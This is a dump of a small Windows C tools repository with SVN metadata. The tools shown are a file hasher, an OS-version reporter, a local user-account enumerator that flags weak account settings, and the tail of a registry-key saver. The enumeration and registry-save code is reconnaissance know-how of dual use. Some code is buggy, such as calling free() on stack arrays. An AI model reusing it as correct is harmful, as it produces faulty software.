KEY_ALL_ACCESS, &key); 66 | result = RegSaveKey(key, L"c:\\saved.reg", NULL); 67 | } 68 | } -------------------------------------------------------------------------------- /simplewindow/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link /OUT:simplewindow.exe /SUBSYSTEM:WINDOWS 4 | 5 | all: simplewindow 6 | 7 | simplewindow: simplewindow.c 8 | $(CC) $(CFLAGS) simplewindow.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /siphasher/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/17/trunk/siphasher 5 | END 6 | siphasher.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 53 10 | /svn/wintools/!svn/ver/17/trunk/siphasher/siphasher.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 50 16 | /svn/wintools/!svn/ver/17/trunk/siphasher/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /siphasher/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/siphasher 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | siphasher.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:49.419435Z 36 | 6a68cd4f36e5b72172aafb2147c3155b 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1856 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:49.435059Z 70 | 0feb80e84395ebcba5a3bb64f7eee0a8 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 233 96 | 97 | -------------------------------------------------------------------------------- /siphasher/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:siphasher.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: siphasher 6 | 7 | siphasher: siphasher.c 8 | $(CC) $(CFLAGS) siphasher.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /siphasher/.svn/text-base/siphasher.c.svn-base: -------------------------------------------------------------------------------- 1 | /** 2 | * SIP Hasher v1.0 3 | * @file 4 | * 5 | * 06-26-2008: JPH - Created. 6 | * 7 | * @author Jacob Hammack 8 | */ 9 | 10 | #include 11 | #include 12 | 13 | typedef BOOL (WINAPI *CryptCATAdminCalcHashFromFileHandleFunc) (HANDLE, DWORD*, BYTE*, DWORD); 14 | 15 | /** 16 | * Main entry point for DriveList. 17 | * 18 | * @author Jacob Hammack 19 | */ 20 | int main(int argc, char *argv[]) 21 | { 22 | CryptCATAdminCalcHashFromFileHandleFunc _CryptCATAdminCalcHashFromFileHandleFunc; 23 | HINSTANCE LibraryInstance; 24 | 25 | printf("SIP Hasher v1.0\nJacob Hammack\nhttp://www.hammackj.com\n\n"); 26 | 27 | if(argc != 2) { 28 | 29 | printf(""); 30 | } 31 | 32 | LibraryInstance = LoadLibrary("Wintrust.dll"); 33 | 34 | if(LibraryInstance) { 35 | _CryptCATAdminCalcHashFromFileHandleFunc = (CryptCATAdminCalcHashFromFileHandleFunc) GetProcAddress(LibraryInstance, "CryptCATAdminCalcHashFromFileHandle"); 36 | 37 | if(_CryptCATAdminCalcHashFromFileHandleFunc) { 38 | HANDLE FileToBeProcessed; 39 | BYTE rgSipHash[20]; 40 | DWORD cbSipHash = 0; 41 | char strHash[1024]; 42 | int i; 43 | int j; 44 | 45 | cbSipHash = sizeof( rgSipHash ); 46 | 47 | FileToBeProcessed = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 48 | 49 | if(FileToBeProcessed == NULL) { 50 | printf("Cannot Open File\n"); 51 | 52 | return; 53 | } 54 | 55 | (_CryptCATAdminCalcHashFromFileHandleFunc) (FileToBeProcessed, &cbSipHash, rgSipHash, 0); 56 | 57 | for(i = 0; i < cbSipHash; i++ ) 58 | { 59 | sprintf( strHash + i * 2, "%02.0x", rgSipHash[i] ); 60 | } 61 | 62 | for(j = 0; j < cbSipHash * 2; j++ ) 63 | { 64 | if( ' ' == strHash[j] ) 65 | { 66 | strHash[j] = '0'; 67 | } 68 | } 69 | 70 | printf("%s\n", strHash); 71 | } 72 | else { 73 | printf("Failed to get Instance of Function.\n"); 74 | } 75 | 76 | FreeLibrary(LibraryInstance); 77 | } 78 | else { 79 | printf("Failed to load Wintrust.dll\n"); 80 | 81 | } 82 | 83 | return 0; 84 | } 85 | -------------------------------------------------------------------------------- /siphasher/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link kernel32.lib /OUT:siphasher.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: siphasher 6 | 7 | siphasher: siphasher.c 8 | $(CC) $(CFLAGS) siphasher.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /siphasher/siphasher.c: -------------------------------------------------------------------------------- 1 | /** 2 | * SIP Hasher v1.0 3 | * @file 4 | * 5 | * 06-26-2008: JPH - Created. 6 | * 7 | * @author Jacob Hammack 8 | */ 9 | 10 | #include 11 | #include 12 | 13 | typedef BOOL (WINAPI *CryptCATAdminCalcHashFromFileHandleFunc) (HANDLE, DWORD*, BYTE*, DWORD); 14 | 15 | /** 16 | * Main entry point for DriveList. 17 | * 18 | * @author Jacob Hammack 19 | */ 20 | int main(int argc, char *argv[]) 21 | { 22 | CryptCATAdminCalcHashFromFileHandleFunc _CryptCATAdminCalcHashFromFileHandleFunc; 23 | HINSTANCE LibraryInstance; 24 | 25 | printf("SIP Hasher v1.0\nJacob Hammack\nhttp://www.hammackj.com\n\n"); 26 | 27 | if(argc != 2) { 28 | 29 | printf(""); 30 | } 31 | 32 | LibraryInstance = LoadLibrary("Wintrust.dll"); 33 | 34 | if(LibraryInstance) { 35 | _CryptCATAdminCalcHashFromFileHandleFunc = (CryptCATAdminCalcHashFromFileHandleFunc) GetProcAddress(LibraryInstance, "CryptCATAdminCalcHashFromFileHandle"); 36 | 37 | if(_CryptCATAdminCalcHashFromFileHandleFunc) { 38 | HANDLE FileToBeProcessed; 39 | BYTE rgSipHash[20]; 40 | DWORD cbSipHash = 0; 41 | char strHash[1024]; 42 | int i; 43 | int j; 44 | 45 | cbSipHash = sizeof( rgSipHash ); 46 | 47 | FileToBeProcessed = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 48 | 49 | if(FileToBeProcessed == NULL) { 50 | printf("Cannot Open File\n"); 51 | 52 | return; 53 | } 54 | 55 | (_CryptCATAdminCalcHashFromFileHandleFunc) (FileToBeProcessed, &cbSipHash, rgSipHash, 0); 56 | 57 | for(i = 0; i < cbSipHash; i++ ) 58 | { 59 | sprintf( strHash + i * 2, "%02.0x", rgSipHash[i] ); 60 | } 61 | 62 | for(j = 0; j < cbSipHash * 2; j++ ) 63 | { 64 | if( ' ' == strHash[j] ) 65 | { 66 | strHash[j] = '0'; 67 | } 68 | } 69 | 70 | printf("%s\n", strHash); 71 | } 72 | else { 73 | printf("Failed to get Instance of Function.\n"); 74 | } 75 | 76 | FreeLibrary(LibraryInstance); 77 | } 78 | else { 79 | printf("Failed to load Wintrust.dll\n"); 80 | 81 | } 82 | 83 | return 0; 84 | } 85 | -------------------------------------------------------------------------------- /systemcmd/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 41 4 | /svn/wintools/!svn/ver/17/trunk/systemcmd 5 | END 6 | systemcmdsvc.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 56 10 | /svn/wintools/!svn/ver/17/trunk/systemcmd/systemcmdsvc.c 11 | END 12 | systemcmd.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 53 16 | /svn/wintools/!svn/ver/17/trunk/systemcmd/systemcmd.c 17 | END 18 | systemcmdsvc.h 19 | K 25 20 | svn:wc:ra_dav:version-url 21 | V 56 22 | /svn/wintools/!svn/ver/17/trunk/systemcmd/systemcmdsvc.h 23 | END 24 | Makefile 25 | K 25 26 | svn:wc:ra_dav:version-url 27 | V 50 28 | /svn/wintools/!svn/ver/17/trunk/systemcmd/Makefile 29 | END 30 | systemcmd.h 31 | K 25 32 | svn:wc:ra_dav:version-url 33 | V 53 34 | /svn/wintools/!svn/ver/17/trunk/systemcmd/systemcmd.h 35 | END 36 | -------------------------------------------------------------------------------- /systemcmd/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/systemcmd 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | systemcmdsvc.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:50.278750Z 36 | 697d175223746d5087ebbb1fd0e4a382 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 3038 62 | 63 | systemcmd.c 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:50.278750Z 70 | d41d8cd98f00b204e9800998ecf8427e 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 0 96 | 97 | systemcmdsvc.h 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-28T13:49:50.309998Z 104 | d41d8cd98f00b204e9800998ecf8427e 105 | 2009-12-16T13:44:40.517816Z 106 | 1 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 0 130 | 131 | Makefile 132 | file 133 | 134 | 135 | 136 | 137 | 2009-12-28T13:49:50.309998Z 138 | c485302cd3d363965ac5beae9391bd9d 139 | 2009-12-16T13:44:40.517816Z 140 | 1 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 324 164 | 165 | systemcmd.h 166 | file 167 | 168 | 169 | 170 | 171 | 2009-12-28T13:49:50.309998Z 172 | d41d8cd98f00b204e9800998ecf8427e 173 | 2009-12-16T13:44:40.517816Z 174 | 1 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 0 198 | 199 | -------------------------------------------------------------------------------- /systemcmd/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:SystemCmd.exe /SUBSYSTEM:CONSOLE 4 | SERVICELINKS=/link kernel32.lib Advapi32.lib /OUT:SystemCmdSvc.exe /SUBSYSTEM:CONSOLE 5 | 6 | all: systemcmdsvc 7 | 8 | systemcmdsvc: systemcmdsvc.c 9 | $(CC) $(CFLAGS) systemcmdsvc.c $(SERVICELINKS) 10 | 11 | clean: 12 | del *.exe; del *.obj 13 | -------------------------------------------------------------------------------- /systemcmd/.svn/text-base/systemcmd.c.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/.svn/text-base/systemcmd.c.svn-base -------------------------------------------------------------------------------- /systemcmd/.svn/text-base/systemcmd.h.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/.svn/text-base/systemcmd.h.svn-base -------------------------------------------------------------------------------- /systemcmd/.svn/text-base/systemcmdsvc.h.svn-base: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/.svn/text-base/systemcmdsvc.h.svn-base -------------------------------------------------------------------------------- /systemcmd/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:SystemCmd.exe /SUBSYSTEM:CONSOLE 4 | SERVICELINKS=/link kernel32.lib Advapi32.lib /OUT:SystemCmdSvc.exe /SUBSYSTEM:CONSOLE 5 | 6 | all: systemcmdsvc 7 | 8 | systemcmdsvc: systemcmdsvc.c 9 | $(CC) $(CFLAGS) systemcmdsvc.c $(SERVICELINKS) 10 | 11 | clean: 12 | del *.exe; del *.obj 13 | -------------------------------------------------------------------------------- /systemcmd/systemcmd.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/systemcmd.c -------------------------------------------------------------------------------- /systemcmd/systemcmd.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/systemcmd.h -------------------------------------------------------------------------------- /systemcmd/systemcmdsvc.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/systemcmd/systemcmdsvc.h -------------------------------------------------------------------------------- /systeminfo/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 42 4 | /svn/wintools/!svn/ver/17/trunk/systeminfo 5 | END 6 | systeminfo.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 55 10 | /svn/wintools/!svn/ver/17/trunk/systeminfo/systeminfo.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 51 16 | /svn/wintools/!svn/ver/17/trunk/systeminfo/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /systeminfo/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/systeminfo 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | systeminfo.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.184919Z 36 | 385e6ad6deb187f2660874152c5e77af 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1632 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.200545Z 70 | 32cd73e2bac54d4a4961566abe2d67f1 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 223 96 | 97 | -------------------------------------------------------------------------------- /systeminfo/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:systeminfo.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: systeminfo 6 | 7 | systeminfo: systeminfo.c 8 | $(CC) $(CFLAGS) systeminfo.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /systeminfo/.svn/text-base/systeminfo.c.svn-base: -------------------------------------------------------------------------------- 1 | /** 2 | * System Info v1.0 3 | * @file 4 | * 5 | * 05-29-2008: JPH - Created. 6 | * 7 | * @author Jacob Hammack 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #define BUFFER_LEN 256 15 | 16 | static BOOL GetOSInfo(TCHAR OSName[BUFFER_LEN], int OSNameLength, TCHAR OSServicePack[BUFFER_LEN], int OSServicePackLength); 17 | 18 | int _tmain(int argc, TCHAR *argv[]) 19 | { 20 | TCHAR OSName[BUFFER_LEN]; 21 | TCHAR OSServicePack[BUFFER_LEN]; 22 | 23 | ZeroMemory(&OSName, sizeof(TCHAR)); 24 | ZeroMemory(&OSServicePack, sizeof(TCHAR)); 25 | 26 | GetOSInfo(OSName, BUFFER_LEN, OSServicePack, BUFFER_LEN); 27 | 28 | _tprintf(TEXT("Operating System: %s %s\n"), OSName, OSServicePack); 29 | 30 | free(OSName); 31 | free(OSServicePack); 32 | 33 | return 0; 34 | } 35 | 36 | static BOOL GetOSInfo(TCHAR OSName[BUFFER_LEN], int OSNameLength, TCHAR OSServicePack[BUFFER_LEN], int OSServicePackLength) 37 | { 38 | OSVERSIONINFOEX OSVersionInfo; 39 | 40 | ZeroMemory(&OSVersionInfo, sizeof(OSVERSIONINFOEX)); 41 | OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); 42 | 43 | if(!GetVersionEx((OSVERSIONINFO *) &OSVersionInfo)) 44 | { 45 | return FALSE; 46 | } 47 | 48 | if(OSVersionInfo.dwMajorVersion == 5) 49 | { 50 | if(OSVersionInfo.dwMinorVersion == 0) 51 | { 52 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows 2000")); 53 | } 54 | else if(OSVersionInfo.dwMinorVersion == 1) 55 | { 56 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows XP")); 57 | } 58 | else if(OSVersionInfo.dwMinorVersion == 2) 59 | { 60 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows 2003")); 61 | } 62 | } 63 | else if(OSVersionInfo.dwMajorVersion == 6) 64 | { 65 | 66 | } 67 | 68 | _tcscpy_s(OSServicePack, OSServicePackLength, OSVersionInfo.szCSDVersion); 69 | 70 | return TRUE; 71 | } 72 | -------------------------------------------------------------------------------- /systeminfo/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC 3 | LINKS=/link kernel32.lib /OUT:systeminfo.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: systeminfo 6 | 7 | systeminfo: systeminfo.c 8 | $(CC) $(CFLAGS) systeminfo.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /systeminfo/systeminfo.c: -------------------------------------------------------------------------------- 1 | /** 2 | * System Info v1.0 3 | * @file 4 | * 5 | * 05-29-2008: JPH - Created. 6 | * 7 | * @author Jacob Hammack 8 | */ 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | #define BUFFER_LEN 256 15 | 16 | static BOOL GetOSInfo(TCHAR OSName[BUFFER_LEN], int OSNameLength, TCHAR OSServicePack[BUFFER_LEN], int OSServicePackLength); 17 | 18 | int _tmain(int argc, TCHAR *argv[]) 19 | { 20 | TCHAR OSName[BUFFER_LEN]; 21 | TCHAR OSServicePack[BUFFER_LEN]; 22 | 23 | ZeroMemory(&OSName, sizeof(TCHAR)); 24 | ZeroMemory(&OSServicePack, sizeof(TCHAR)); 25 | 26 | GetOSInfo(OSName, BUFFER_LEN, OSServicePack, BUFFER_LEN); 27 | 28 | _tprintf(TEXT("Operating System: %s %s\n"), OSName, OSServicePack); 29 | 30 | free(OSName); 31 | free(OSServicePack); 32 | 33 | return 0; 34 | } 35 | 36 | static BOOL GetOSInfo(TCHAR OSName[BUFFER_LEN], int OSNameLength, TCHAR OSServicePack[BUFFER_LEN], int OSServicePackLength) 37 | { 38 | OSVERSIONINFOEX OSVersionInfo; 39 | 40 | ZeroMemory(&OSVersionInfo, sizeof(OSVERSIONINFOEX)); 41 | OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); 42 | 43 | if(!GetVersionEx((OSVERSIONINFO *) &OSVersionInfo)) 44 | { 45 | return FALSE; 46 | } 47 | 48 | if(OSVersionInfo.dwMajorVersion == 5) 49 | { 50 | if(OSVersionInfo.dwMinorVersion == 0) 51 | { 52 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows 2000")); 53 | } 54 | else if(OSVersionInfo.dwMinorVersion == 1) 55 | { 56 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows XP")); 57 | } 58 | else if(OSVersionInfo.dwMinorVersion == 2) 59 | { 60 | _tcscpy_s(OSName, OSNameLength, TEXT("Windows 2003")); 61 | } 62 | } 63 | else if(OSVersionInfo.dwMajorVersion == 6) 64 | { 65 | 66 | } 67 | 68 | _tcscpy_s(OSServicePack, OSServicePackLength, OSVersionInfo.szCSDVersion); 69 | 70 | return TRUE; 71 | } 72 | -------------------------------------------------------------------------------- /userenum/users.c: -------------------------------------------------------------------------------- 1 | /** 2 | * User Enumerator 3 | * @file 4 | * @version 1.0 5 | * 6 | * @author Jacob Hammack 7 | * 8 | * 09-16-2009: JPH - Created initial program. 9 | * 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #pragma comment(lib, "netapi32.lib") 17 | 18 | int _tmain(int argc, TCHAR *argv[]) 19 | { 20 | DWORD ReturnedEntryCount = 0; 21 | DWORD Index = 0; 22 | DWORD Result = 0; 23 | LPVOID SortedBuffer = NULL; 24 | DWORD i; 25 | 26 | _tprintf(TEXT("Enumerate Users v1.0.0\nJacob Hammack\nhttp://www.hammackj.com\n\n")); 27 | 28 | do 29 | { 30 | Result = NetQueryDisplayInformation(NULL, 1, Index, 1000, MAX_PREFERRED_LENGTH, &ReturnedEntryCount, &SortedBuffer); 31 | 32 | if((Result == ERROR_SUCCESS) || (Result == ERROR_MORE_DATA)) 33 | { 34 | PNET_DISPLAY_USER CurrentUser = (PNET_DISPLAY_USER) SortedBuffer; 35 | 36 | for(i = 0; i < ReturnedEntryCount; ++i, ++CurrentUser) 37 | { 38 | _tprintf(TEXT("Name: %s, Comment: %s, User ID: %u\n"), CurrentUser->usri1_name, CurrentUser->usri1_comment, CurrentUser->usri1_user_id); 39 | _tprintf(TEXT("Attributes:\n")); 40 | 41 | if(CurrentUser->usri1_flags & UF_ACCOUNTDISABLE) 42 | { 43 | _tprintf(TEXT("\tAccount is Disabled\n")); 44 | } 45 | 46 | if(CurrentUser->usri1_flags & UF_HOMEDIR_REQUIRED) 47 | { 48 | _tprintf(TEXT("\tAccount Needs a Home directory\n")); 49 | } 50 | 51 | if(CurrentUser->usri1_flags & UF_LOCKOUT) 52 | { 53 | _tprintf(TEXT("\tAccount Locked out\n")); 54 | } 55 | 56 | if(CurrentUser->usri1_flags & UF_PASSWD_NOTREQD) 57 | { 58 | _tprintf(TEXT("\tAccount does not require a password\n")); 59 | } 60 | 61 | if(CurrentUser->usri1_flags & UF_PASSWD_CANT_CHANGE) 62 | { 63 | _tprintf(TEXT("\tAccount cannot change the password\n")); 64 | } 65 | 66 | if(CurrentUser->usri1_flags & UF_DONT_EXPIRE_PASSWD) 67 | { 68 | _tprintf(TEXT("\tAccount Password never expires\n")); 69 | } 70 | 71 | if(CurrentUser->usri1_flags & UF_SMARTCARD_REQUIRED) 72 | { 73 | _tprintf(TEXT("\tAccount requires Smartcard\n")); 74 | } 75 | 76 | _tprintf(TEXT("\n")); 77 | } 78 | 79 | Index += i; 80 | 81 | NetApiBufferFree(SortedBuffer); 82 | } 83 | else 84 | { 85 | _tprintf(TEXT("Error: %u"), Result); 86 | } 87 | } while (Result == ERROR_MORE_DATA); 88 | 89 | return 0; 90 | } -------------------------------------------------------------------------------- /winevtenum/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 69 4 | /svn/wintools/!svn/ver/18/trunk/WindowsEventReader/WindowsEventReader 5 | END 6 | WindowsEventReader.vcproj 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 95 10 | /svn/wintools/!svn/ver/18/trunk/WindowsEventReader/WindowsEventReader/WindowsEventReader.vcproj 11 | END 12 | main.c 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 76 16 | /svn/wintools/!svn/ver/18/trunk/WindowsEventReader/WindowsEventReader/main.c 17 | END 18 | -------------------------------------------------------------------------------- /winevtenum/.svn/dir-prop-base: -------------------------------------------------------------------------------- 1 | K 10 2 | svn:ignore 3 | V 67 4 | Debug 5 | WindowsEventReader.vcproj.REVERSE-K0F1SPU.Administrator.user 6 | 7 | END 8 | -------------------------------------------------------------------------------- /winevtenum/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/WindowsEventReader/WindowsEventReader 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-18T19:05:42.157367Z 11 | 10 12 | hammackj 13 | has-props 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | WindowsEventReader.vcproj 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.919327Z 36 | f818ce53c16e0f51a63f1a743357c358 37 | 2009-12-16T21:46:15.771116Z 38 | 4 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 3979 62 | 63 | main.c 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:46.919327Z 70 | 1635859ad0de97680cb90b9b299b01e7 71 | 2009-12-16T21:46:15.771116Z 72 | 4 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 16891 96 | 97 | --------------------------------------------------------------------------------